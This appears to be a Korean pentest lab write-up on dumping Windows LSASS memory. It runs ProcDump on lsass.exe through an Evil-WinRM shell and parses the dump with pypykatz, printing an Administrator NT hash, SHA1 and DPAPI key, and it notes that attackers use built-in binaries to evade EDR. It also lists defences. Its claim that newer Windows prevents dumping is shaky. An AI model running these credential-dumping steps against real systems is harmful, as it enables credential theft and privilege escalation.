Windows 10 이후로는 LSASS.exe의 메모리가 가상화 되어
최신 버전의 Windows에서는 메모리 덤프가 불가능합니다.
LSASS(Local Security Authority Subsystem Service)는 Windows 운영체제라면
기본적으로 존재하는 Microsoft에서 제공하는 서비스이며
이것을 통해 메모리를 덤핑하기 위해선 관리자 권한이 필요합니다.
사용자가 컴퓨터에 로그인을 성공하면 자격증명이 생성되고, 이는 메모리의 LSASS에 저장됩니다.
때문에 LSASS 메모리 덤프에 성공한다면 로그인에 성공했던 모든 사용자들의
NT Hash 정보를 가져올 수 있게 되고, 이것은 곧 권한 상승을 가능케 합니다.
오늘날까지 공격자들은 taskmgr.exe, procdump.exe, comsvc.dll과 같은
LOLBin(Libing Off Land Binaries)을 사용한 자격증명 덤핑을 선호하고 있습니다.
그런 이유는 이것들이 기본적으로 Windows 내장 기능을 이용하기 때문에
바이러스 백신이나 EDR 솔루션에 탐지될 가능성이 낮고 흔적이 덜 남기 때문입니다.
공격자에 의해 실행되거나 백업한 lsass 관련 파일 등이 공격자에게 노출된다면
시스템 내부의 모든 NT Hash 정보들이 유출되는 파장이 있음에도 필요한 이유는
이것이 Windows의 시스템 보안와 관련된 핵심 프로세스이기 때문입니다.
따라서 보안 강화를 위해서는 접근할 수 있는 관리자 권한을 최소화하며
Credential Guard, Protected Process Light 등의 기능을 사용할 수 있습니다.
Practice
실습을 위해서 Microsoft에서 제공하는 ProcDump 도구를 다운받습니다.
.\procdump.exe -ma -accepteula lsass.exe lsass.dmp
ProcDump를 사용하여 메모리 덤프를 시작합니다.
*Evil-WinRM* PS C:\Windows\system32> .\procdump.exe -ma -accepteula lsass.exe lsass.dmp
ProcDump v9.0 - Sysinternals process dump utility
Copyright (C) 2009-2017 Mark Russinovich and Andrew Richards
Sysinternals - www.sysinternals.com
[12:39:32] Dump 1 initiated: C:\Windows\system32\lsass.dmp
[12:39:33] Dump 1 writing: Estimated dump file size is 160 MB.
[12:39:33] Dump 1 complete: 160 MB written in 0.8 seconds
[12:39:33] Dump count reached.
덤핑 결과값인 lsass.dmp 파일을 로컬로 가져와서 pypykatz를 통해 분석하면
사용자 NT Hash, DPAPI 등의 정보를 확보할 수 있습니다.
┌──(root㉿kali)-[~/Pentest/Machine]
└─# pypykatz lsa minidump lsass.dmp
...
== LogonSession ==
authentication_id 576371 (8cb73)
session_id 1
username Administrator
domainname BLACKFIELD
logon_server DC01
logon_time 2024-11-07T17:59:12.813343+00:00
sid S-1-5-21-4194615774-2175524697-3563712290-500
luid 576371
== MSV ==
Username: Administrator
Domain: BLACKFIELD
LM: NA
NT: 184fb5e5178480be64824d4cd53b99ee
SHA1: 7d37f44d9e27fcc75ecb1e7ac9f34f0f18a83f5e
DPAPI: 3fea2a21284fb5cf053ae8be1fab2ead00000000
== WDIGEST [8cb73]==
username Administrator
domainname BLACKFIELD
password None
password (hex)
== Kerberos ==
Username: Administrator
Domain: BLACKFIELD.LOCAL
References
Last updated